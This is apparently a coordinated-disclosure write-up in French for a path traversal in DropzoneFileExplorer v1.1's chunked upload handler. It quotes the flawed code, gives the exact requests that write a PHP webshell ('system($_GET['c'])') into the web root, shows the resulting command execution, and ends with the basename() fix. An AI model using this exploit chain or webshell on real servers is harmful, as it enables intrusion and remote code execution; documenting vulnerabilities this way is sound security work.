
Chaîne d'exploitation proof-of-concept pour CVE-2026-104826, une traversée de chemin dans le gestionnaire d'upload par morceaux de DropzoneFileExplorer qui écrit un webshell PHP pour l'exécution de code à distance.
Le gestionnaire d'upload reprenable (par morceaux) fait confiance au fileName fourni par le client
jusqu'à fopen(). Fournissez-lui ../../ et vous écrivez en dehors de votre dossier autorisé,
hors de la racine de stockage, dans la racine web. L'application sert du PHP, donc le fichier que vous
déposez s'exécute.
Projet : KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| Avis | GHSA-7626-89vx-5rpc |
| Classe | CWE-22 (Path Traversal) -> CWE-434 -> RCE |
| Auth | authentifié par défaut, non authentifié si AUTH_ENABLE=false |
| CVSS v4.0 | 8.5 Élevé (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| Affecté | v1.1 (testé au commit 68858e0) |
| Corrigé dans | v1.2 |
| Crédit | Kanarat Kaeothong (Axiom0x) |
Deux fonctions comptent. uploadInit prend fileName depuis le corps de la requête et le conserve
tel quel avec seulement un trim() (inc/functions.php, vers L2080) :
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize le relit ensuite et assemble le chemin de sortie
(inc/functions.php, L2192-2216) :
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() est correcte en soi. Elle appelle realpath() et s'assure
que le chemin reste sous les racines de l'utilisateur. Le problème, c'est ce qu'on lui passe.
$destBaseAbs et $finalDirAbs sont tous deux validés, mais $finalAbs, celui qui
contient réellement le fileName de l'attaquant, ne l'est jamais. fopen() reçoit la chaîne brute
.../shared/../../app/shell.php et le système d'exploitation réduit les .. pour vous.
À noter : tous les autres chemins d'écriture dans ce codebase passent soit le chemin composé
par ensure_inside_allowed_roots(), soit enveloppent le nom dans basename(). Celui-ci
ne fait ni l'un ni l'autre. On dirait un endroit qui a été refactorisé et où la vérification finale a été perdue.
v1.1 d'origine, configuration par défaut (AUTH_ENABLE=true). L'acteur est un utilisateur normal lowpriv
dont le seul dossier est shared.
Connectez-vous en tant que lowpriv (récupérez le jeton CSRF sur la page de connexion, puis POST
auth_action=login).
Confirmez que le bac à sable fonctionne réellement. Un upload directement dans le dossier de quelqu'un d'autre est refusé :
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
Utilisez le dossier autorisé, mais empoisonnez fileName :
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
Envoyez la charge utile en un seul morceau :
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
Finalisez :
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
La réponse indique app/pwned.php. L'application elle-même vous dit qu'elle a écrit
en dehors de shared et en dehors de la racine de stockage.
Exécutez-le :
GET /pwned.php?c=id
-> uid=... (command output)
D'après ma propre exécution contre une instance locale :
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
Voir poc/exploit.py pour la chaîne complète (login, CSRF, poison,
chunk, finalize, execute).
Quiconque est autorisé à uploader peut écrire un fichier partout où le processus PHP peut écrire,
quelles que soient les règles de dossier par utilisateur. Un fichier .php dans la racine web, c'est
l'exécution de code à distance en tant qu'utilisateur web. Avec AUTH_ENABLE=false, il n'y a pas d'étape
de connexion et c'est du RCE non authentifié direct.
Dans uploadFinalize, réduisez fileName à un simple nom avant de l'ouvrir, et
revérifiez le chemin composé :
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
basename() seul arrête la traversée. Ajouter la vérification ensure_inside_allowed_roots($finalAbs)
est la version ceinture et bretelles, et cela correspond à la façon dont le reste du code
protège déjà les écritures. Le même traitement doit être appliqué à la branche de politique rename
(vers L2210) où $finalName est recalculé. Le mainteneur a intégré cela dans la v1.2.
Divulgation coordonnée, corrigée avant que cela ne devienne public. Le PoC vise délibérément une instance de test locale. Ne le pointez pas vers quelque chose que vous ne possédez pas.